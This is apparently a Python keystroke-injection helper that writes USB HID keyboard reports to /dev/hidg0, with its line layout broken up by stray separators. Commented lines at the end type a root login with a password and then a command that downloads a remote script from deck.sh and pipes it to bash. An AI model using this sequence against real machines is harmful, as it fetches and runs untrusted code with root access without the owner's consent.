|
|
|
#!/usr/bin/env python3
|
|
|
|
import keycodes
|
|
|
|
#import time
|
|
|
|
|
|
|
|
NULL_CHAR = chr(0)
|
|
|
|
|
|
|
|
def write_report(report):
|
|
|
|
with open('/dev/hidg0', 'rb+') as fd:
|
|
|
|
fd.write(report.encode())
|
|
|
|
|
|
|
|
# Press a
|
|
|
|
# write_report(NULL_CHAR*2+chr(4)+NULL_CHAR*5)
|
|
|
|
# Release keys
|
|
|
|
#write_report(NULL_CHAR*8)
|
|
|
|
# Press SHIFT + a = A
|
|
|
|
#write_report(chr(32)+NULL_CHAR+chr(4)+NULL_CHAR*5)
|
|
|
|
|
|
|
|
# Press b
|
|
|
|
#write_report(NULL_CHAR*2+chr(5)+NULL_CHAR*5)
|
|
|
|
# Release keys
|
|
|
|
#write_report(NULL_CHAR*8)
|
|
|
|
# Press SHIFT + b = B
|
|
|
|
#write_report(chr(32)+NULL_CHAR+chr(5)+NULL_CHAR*5)
|
|
|
|
|
|
|
|
# Press SPACE key
|
|
|
|
#write_report(NULL_CHAR*2+chr(44)+NULL_CHAR*5)
|
|
|
|
|
|
|
|
# Press c key
|
|
|
|
#write_report(NULL_CHAR*2+chr(6)+NULL_CHAR*5)
|
|
|
|
# Press d key
|
|
|
|
#write_report(NULL_CHAR*2+chr(7)+NULL_CHAR*5)
|
|
|
|
|
|
|
|
# Press RETURN/ENTER key
|
|
|
|
#write_report(NULL_CHAR*2+chr(40)+NULL_CHAR*5)
|
|
|
|
|
|
|
|
# Press e key
|
|
|
|
#write_report(NULL_CHAR*2+chr(8)+NULL_CHAR*5)
|
|
|
|
# Press f key
|
|
|
|
#write_report(NULL_CHAR*2+chr(9)+NULL_CHAR*5)
|
|
|
|
|
|
|
|
# Release all keys
|
|
|
|
#write_report(NULL_CHAR*8)
|
|
|
|
|
|
|
|
|
|
|
|
def write_char(char):
|
|
|
|
write_report(NULL_CHAR*2+chr(char)+NULL_CHAR*5)
|
|
|
|
def write_caps(char):
|
|
|
|
write_report(chr(32)+NULL_CHAR+chr(char)+NULL_CHAR*5)
|
|
|
|
def write_str(word):
|
|
|
|
for letter in word:
|
|
|
|
if letter == "!" or letter == "@" or letter == "#" or letter == "$" or letter == "%" or letter == "^" or letter == "&" or letter == "*" or letter == "(" or letter == ")":
|
|
|
|
key = [x for x in ")!@#$%^&*("]
|
|
|
|
num = key.index(letter)
|
|
|
|
write_caps(keycodes.keycodelst[str(num)])
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
continue
|
|
|
|
if letter == "?":
|
|
|
|
letter = "/"
|
|
|
|
write_caps(keycodes.keycodelst[letter])
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
continue
|
|
|
|
if letter == "~":
|
|
|
|
letter = "`"
|
|
|
|
write_caps(keycodes.keycodelst[letter])
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
continue
|
|
|
|
if letter == "_":
|
|
|
|
letter = "-"
|
|
|
|
write_caps(keycodes.keycodelst[letter])
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
continue
|
|
|
|
if letter == "|":
|
|
|
|
letter = "\\"
|
|
|
|
write_caps(keycodes.keycodelst[letter])
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
continue
|
|
|
|
if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z':
|
|
|
|
#print(letter.capitalize(), letter)
|
|
|
|
write_caps(keycodes.keycodelst[letter])
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
continue
|
|
|
|
else:
|
|
|
|
letter = letter.capitalize()
|
|
|
|
if letter == "\n":
|
|
|
|
letter = "ENTER"
|
|
|
|
try:
|
|
|
|
write_char(keycodes.keycodelst[letter])
|
|
|
|
except:
|
|
|
|
print("Unknown HID keycode")
|
|
|
|
finally:
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
|
|
|
|
def write_special(input):
|
|
|
|
#lst = [x for x in input]
|
|
|
|
#if lst[0] == "F": # F key requested!
|
|
|
|
try:
|
|
|
|
write_char(keycodes.keycodelst[input])
|
|
|
|
except:
|
|
|
|
print("Unknown HID keycode")
|
|
|
|
finally:
|
|
|
|
write_report(NULL_CHAR*8)
|
|
|
|
|
|
|
|
#write_str("root\n")
|
|
|
|
#time.sleep(0.5)
|
|
|
|
#write_str("qwertypass\n")
|
|
|
|
#time.sleep(2)
|
|
|
|
#write_str("dwget deck.sh/p -qO-|bash\n")
|
|
|
|
#time.sleep(1)
|
|
|
|
#write_word("test|er")
|